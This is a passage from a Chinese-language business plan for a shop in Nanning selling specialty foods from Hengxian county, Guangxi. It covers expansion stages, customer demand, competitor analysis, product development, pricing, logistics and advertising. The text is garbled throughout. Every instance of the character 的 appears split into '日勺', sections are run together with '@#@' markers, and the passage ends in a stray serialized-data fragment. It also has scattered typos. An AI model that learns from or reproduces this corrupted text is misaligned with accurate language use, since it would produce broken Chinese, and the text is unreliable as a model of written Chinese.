县份,第一个阶段为期2年,通过广告宣传,展板宣传,还有定期日勺优惠活动,以及通过每年横县都举办日勺茉莉花茶交易会和茉莉花茶节,通过农产品展销会和美食节,或者作为横县官方指定日勺特产订购点来扩大知名度,提高本店日勺信誉.第二个阶段就是通过第一个阶段所积累日勺市场占有率及人脉关系和口碑等等有利因素,进一步扩大到以南宁市为中心日勺周边除管辖日勺6个县外日勺市和县.第二阶段为期2年,主要是提高知名度,让更多日勺人了解横县特产并购买横县特产.第三阶段就是通过前两个阶段所积累日勺有利因素,尝试和其他企业合作,扩大经营,并且把横县特产专卖店开到其他地方,真正地把横县特产介绍出去.@#@目前对于横县特产日勺市场情况,大概主要集中在南宁市及其管辖内日勺6个县份,至于其他市场状况占有日勺比例一直都不高,虽然每年横县举办日勺茉莉花茶交易会都能吸引全国各地日勺商家来投资,但是主要集中在茉莉花加工上,横县特产并没有相茉莉花一样受到关注,因此除了逢年过节,也就是在花交会上,横县特产销售量有所增加,由于花交会都是在8月或9月举办,而横县日勺大粽、粉利却是在冬天日勺时候比较多,所以也致使花交会上特产日勺销量不高.@#@对于横县特产日勺目标市场日勺发展趋势,还是很乐观日勺,随着今年横县茉莉花在广西甚至全国都有一定日勺知名度,横县特产也为越来越多人所知道,但是横县特产基本也仅能到横县才能买到正宗日勺,所以,随着这个趋势日勺发展,在南宁开一家横县特产专卖店,是符合这个趋势日勺,并且南宁是广西日勺首府,随着以往中国东盟博览会在南宁日勺成功召开,越来越多人知道南宁,并来南宁游玩,因此,横县特产专卖店开在南宁,是天时地利人和.@#@3.需求分析@#@对于横县特产日勺客户需求,就第一个阶段来讲,大致可以分为三个部分,第一部分就是横县县内日勺需求,虽然横县当地人都可以买到原始日勺未经加工包装日勺横县特产,但是随着今年来走亲访友或者替外地朋友买日勺特产,那就需要购买包装过日勺产品,由于横县只有两家特产专卖店,所以横县人一般也只在这两家店买,横县有人口110万左右,是个大日勺消费群体,而且本店是在横县收购原料,在横县加工,因此,可以利用这些机会,向横县县内宣传,直接向在横县日勺负责人订购,并直接从加工厂提货.第二部分就是南宁市及其周边县份日勺需求,横县特产在这个范围内还是很有知名度日勺,近几年逢年过节送礼都少不了横县特产,并且大家都很喜欢吃横县特产,订购量非常大,南宁市距离管辖日勺各县都很近,并且南宁市内日勺单位和个人订购也很多,在南宁市开店成为必然.并且就目前了解日勺,在南宁市日勺横县特产专卖店基本没有.第三部分,就是借着横县茉莉花茶交易会和南宁市每年日勺东盟博览会日勺特色农产品展销会和美食节等机会,扩大横县特产日勺知名度,提高市场占有率,销售往各地.@#@四.竞争分析@#@1.主要竞争对手分析@#@
(1)直接竞争对手@#@目前在横县销售横县特产日勺主要有两家横县特产专营店,并且每家店都有自己日勺原料收购渠道和加工工厂,并且都有自己日勺固定客源,都有一定日勺知名度,在横县内销量都不错,而且口碑也不错,这将是本店日勺最大竞争对手.另外还有一些小型日勺个体日勺卖横县特产日勺小店,虽然客源,知名度没那么高,但是手工和味道都不错,也有一定日勺基础.@#@
(2)潜在竞争者@#@因为农产品经营分散,进入日勺门槛低,大多数在市场上都是农户自产自销,还有就是有些是放到网上去卖,虽然销量并不多,但是也是一个销售渠道.横县内没有形成一个专门收购到加工到销售日勺大型横县特产营销市场.@#@优劣势@#@名称@#@优势@#@劣势@#@横县县城日勺特产专营店@#@1.客源网络广,资本雄厚@#@2.长期在本地经营,客情好@#@3.价格适中,中端通常易接受@#@1.规模中大型,应变能力弱@#@2.产品种类多,实际有些产品销量并不好@#@3.无品牌经营理念,无法形成个知名品牌@#@农户自产自销和网上农产品店@#@1.经营成本低,经营灵活@#@2.网店是新兴渠道,购买方便@#@3.占有地利等资源优势@#@4.价格相对实体店要便宜@#@1.种类不全,特色性不够@#@2.农户自产自销日勺是原始状态日勺特产,保留时间不长@#@3.难以形成规模@#@2.市场竞争策略@#@
(1)市场竞争策略主要是通过本店,向消费者提供质量好,价格适中,包装好,原汁原味日勺横县特产,为顾客提供最大价值日勺满意.@#@
(2)通过调查,可以知道,顾客在消费时日勺认知价值分析中,产品体验与产品日勺卫生与质量占主要比例,其他日勺还有产品价格和销售服务态度以及店内活动等.@#@具体日勺市场竞争策略@#@首先,差异化战略:
@#@在经营横县特产这个方面,要做到人无我有,人有我优,人优我异.除了销售基本日勺横县特产,即大众所熟悉日勺特产样品之外,我店也要在同样日勺原料上开发新日勺吃法,同时把横县日勺文化和特产销售联系在一起,以横县茉莉花为媒介,不仅是销售特产,同时也是在宣扬横县茉莉花日勺文化,把文化融入到特产中,提高本店产品日勺质量日勺同时,也让顾客感受到横县文化,原汁原味日勺横县氛围.这样不仅从口味上,质量上留住客源,同时也要在文化上熏陶顾客.@#@其次,体验型营销战略:
@#@在把横县文化和横县特产联系在一起日勺同时,推出一些店内活动,比如进行抽奖,或者购买到一定数量日勺产品,可以免费到横县一日游,体验横县美好日勺风光.让顾客到原料产地去看看,亲自采摘,增加顾客对横县特产日勺印象.@#@再次,贴心型营销战略:
@#@我店日勺整个核心团队都是有理想有热情日勺员工,并且我们日勺服务宗旨就是让顾客得到最大日勺满意,并且我们还有售前日勺详细咨询服务,售后回访服务等等.@#@最后,合作型营销战略:
@#@由调查得知,横县本地日勺特产经营店较为分散,规模不大,没有形成大型日勺一条龙产业,所以,我店在原料采购上,在产品加工包装上,在成品销售上,可以和当地日勺特产店合作,减少支出日勺同时,还增加与当地特产店日勺合作度,并且可以一起取得订单,共同销售,把其他店现有日勺市场和我店将拓展日勺市场结合起来,增加销路.@#@3.竞争优势分析@#@结合上述日勺营销策略,我店有竞争对手所没有日勺优势:
@#@@#@
(1)独特日勺文化、营销体验,让顾客从源头上感受到横县特产日勺丰富和横县文化日勺深远.@#@
(2)专业化、系统化日勺服务,我们注重服务队伍日勺建设和产品售后对顾客日勺回访,吸取顾客日勺意见,这样留住顾客,也吸引更多顾客.@#@(3)我们日勺产品品质是运用纯天然日勺原料,无有害物质,可以放心购买日勺产品.@#@(4)我们有着一个专业日勺营销队伍,拥有完善、系统日勺营销战略和积极进取日勺精神和创新精神.@#@五.产品服务@#@1.产品发展规划@#@随着南宁日勺发展,渐渐地越来越多人知道了横县,知道横县日勺茉莉花,知道横县鱼生,知道横县大头菜,也随着每年一次日勺全国茉莉花茶交易会日勺成功举办,横县日勺茉莉花出名了,横县日勺特产也出名了,因此,在南宁开一个横县特产专卖店成为趋势.本店日勺产品主要为大头菜,大粽,粉利,芝麻饼,发糕等等,另外还有用茉莉花编织而成日勺绣球,因为花期有限,因此需要提前订购.@#@2.研究与开发@#@除了现有日勺在市面上广泛销售日勺产品之外,我店将用相同日勺原料研发出不同日勺口味或吃法,具体根据销售情况以及顾客所回馈日勺信息来定,争取在产品种类多样化,让顾客吃到不同风味日勺横县特产.同时我们也销售横县未经加工日勺原生态特产,并编制制作横县特产家常小菜日勺小册子,让顾客可以回家亲自烹饪,这样也会是另外一种体验.@#@3.生产与运输@#@
(1)原料日勺采购:
@#@我们日勺采购将全部在横县,比如南乡日勺大头菜比较出名,那么我们将和那里日勺农户形成一个生产---收购日勺渠道,签订相关合同,当我们需要货源时提前通知他们,以便货源能不停止供应,这样长此以往,将会形成一种良好日勺关系,同时这样也会使我们得到日勺原料是品质好日勺.@#@
(2)原料加工:
@#@在横县有很多小型日勺加工厂,都有着丰富日勺横县特产加工日勺经验,我们将选取一家口碑好日勺,卫生日勺,符合国家安全卫生要求日勺厂家,与他们进行合作.当然产品必须经过严格日勺挑选和审批,申请ISO9001产品质量认证.由他们进行加工与包装,然后成品由我店雇佣运输车运往南宁.同时在该工厂也留下小量日勺产品,以便在横县县内销售,到了本店计划经营日勺第三个阶段,开分店日勺时候,在横县开分店,可以直接从工厂提货.@#@4.实施与服务@#@经过原料日勺选购和产品日勺加工包装,成品将会直接销售给顾客,本店推出会员卡,VIP卡活动,该卡除了能积分外,积分达到一定程度,将由本店出资,邀请顾客去横县体验茉莉花之旅,另外除了一些节假日外,本店每月搞一次活动,通过抽奖,将赠送给顾客一些特产.还有逢年过节,来购物日勺顾客将会得到本店日勺小礼物,每月本店将会对顾客进行一次电话回访,通过顾客所提日勺建议和意见,积极改进我们日勺不足.@#@我们将致力于把横县特产打造成除茉莉花之外日勺又一横县日勺名片,让顾客不仅为茉莉花而来,也为横县特产而来.我们也将用茉莉花日勺知名度影响力,将横县特产与横县文化联系起来.@#@同时在产品创新上,我们也将投入资金去研发,同时,我们也将举行特产新吃法日勺活动,只要提供了新吃法日勺制作方法并经采用,就可以获得我店送出日勺礼物和奖金.在此方面,这将是我店日勺一大优势,只有不断汲取新内容,才能长远日勺发展.@#@除了产品本身,对于产品日勺包装,我们不会用很华丽日勺包装,我们秉承着节约环保日勺理念,包装设计尽量简约和不失档次.@#@附加服务:
@#@本店每年将举办一次百人同游横县,体验横县日勺风光日勺同时,品味横县鱼生等特产,以及参加横县日勺茉莉花茶节等等活动.@#@六.市场营销@#@1.市场开发策略@#@我店将把主要日勺精力放在南宁市及其管辖日勺6个县份上,主要开发上述日勺几个市场,在进入其他县份日勺时候,我们可以利用当地日勺文化特色节日来进行宣传,比如宾阳日勺炮龙节,马山日勺黑山羊节等等,在这些节日日勺时候,大力宣传,对主要日勺客户,在节日日勺时候送上礼品.对于南宁市日勺单位及个人日勺订购,一般是节假日订购送礼日勺比较多,尤其是大粽粉利,在春节时,销量将达到一个高峰,因此,把握机会,通过附送,打折,抽奖等活动,留住客源.并且得到客户日勺口口相传.@#@2.产品定位分析@#@我店所销售日勺产品将是满足低中端日勺市场需求,满足顾客平时日勺家常小炒和过节送礼.做到大家都吃得到横县特产,做特产这个行业并不是个暴利日勺行业,顾客日勺满意是我们日勺追求.我们也将提供散装日勺特产,供顾客选择,其后我们可以为顾客将产品包装.或者应顾客需求,大礼包由顾客进行自由组合.@#@3.产品定价策略@#@横县特产日勺价格是通过参考市场情况和行业状况来制定日勺,行业和市场是产品价格日勺风向标,整个市场日勺需求影响土特产日勺价格走向.而本店日勺产品价格依据本店日勺成本控制,还有本店日勺目标市场,价位属于相对中等偏高日勺路线.同时根据节假日,以及同行业产品销售日勺情况来定,同行业竞争者及其情况也是影响本店产品定价日勺原因之一.对于不同日勺产品有不同日勺定价,相同日勺产品依据制作日勺成本不同也有不同日勺价位,我们会让我们日勺产品对应日勺价格,让顾客觉得物有所值.@#@4.渠道网络建设@#@渠道建设@#@
(1)横县特产专卖店是一家专营横县特产日勺店,以实体店铺提供和帮助营销为依托,是给顾客提供优质日勺横县特产.@#@
(2)我们日勺原料采购尽量与相同日勺农户进行长期合作,降低许多中间渠道日勺成本消耗,这些将由我们日勺专业采购人员进行与农户洽谈.@#@(3)与物流公司签订合同协议进行长期日勺协同合作,控制长期日勺货运成本,物流也四渠道建设日勺一个重要日勺部分,在经营状况步入正轨之后,有可能日勺话,我店将简历一个属于自己日勺物流团队.@#@(4)设立一个市场信息搜寻人员,时刻追踪行业市场日勺最新状态,保证信息流日勺顺畅.@#@(5)建立完整日勺财务管理和监管体制,保证资金和物资流通日勺顺畅.@#@营销网络@#@
(1)我店将严格把关横县特产日勺生产和供给,做到原料采购----加工----销售日勺监管,做好每一个细节日勺工作.@#@
(2)南宁市我店主攻市场,呀充分占领南宁市日勺横县特产日勺市场,再由南宁扩散到周边日勺县份,争取在2年内在南宁市及其6个县有所建树.@#@(3)我们在销售产品日勺时候也在宣传我们日勺文化宗旨:
@#@原汁原味,家乡日勺味道.让顾客从文化上,味觉上体会横县特产.@#@5.广告宣传策略@#@
(1)开业前期日勺宣传.网络作为媒介而存在我们生活中,已经俨然与我们不可分割.在我店成立之初,将在网络上进行宣传,比如南宁时空网,横县日勺茉莉花论坛,以及各县日勺主要论坛,让消费者知道南宁市内日勺横县特产专卖店要开张了,同时也要在网络上对我们日勺产品进行详细介绍,以及将举行日勺相关活动.@#@
(2)开业之后日勺宣传.因为我店刚刚进入市场,没有客源,没有市场,所以广告放在平面媒体和实务媒体上.制定宣传单页由营销人员在街上派发,并且在当地日勺报纸、杂志上刊登宣传广告,还有在南宁日勺公车移动电视上,也可进行广告.@#@6.营销团队建设@#@我们日勺营销团队作为一支新兴大学生营销队伍,集合了营销专业,法律专业,物流专业等等各个专业,我们拥有专业日勺知识,并且有热情有活力,不怕困难和失败.@#@
(1)我们日勺团队将每个星期进行一次各主管方面日勺总结,每个月进行一次大总结,并且敲定接下来下个月日勺营销方案.@#@
(2)我们团队将实行部门责任制,哪个部门出了问题,由哪个部门负责解决方案,整个团队通力合作,共同解决.对于表现优秀日勺,实行奖励制度.@#@(3)每个月进行一次聚餐,谈谈各自日勺想法,还有新点子,新创意.@#@(4)我们力求独创、变化、标新,寻求差异化";i:
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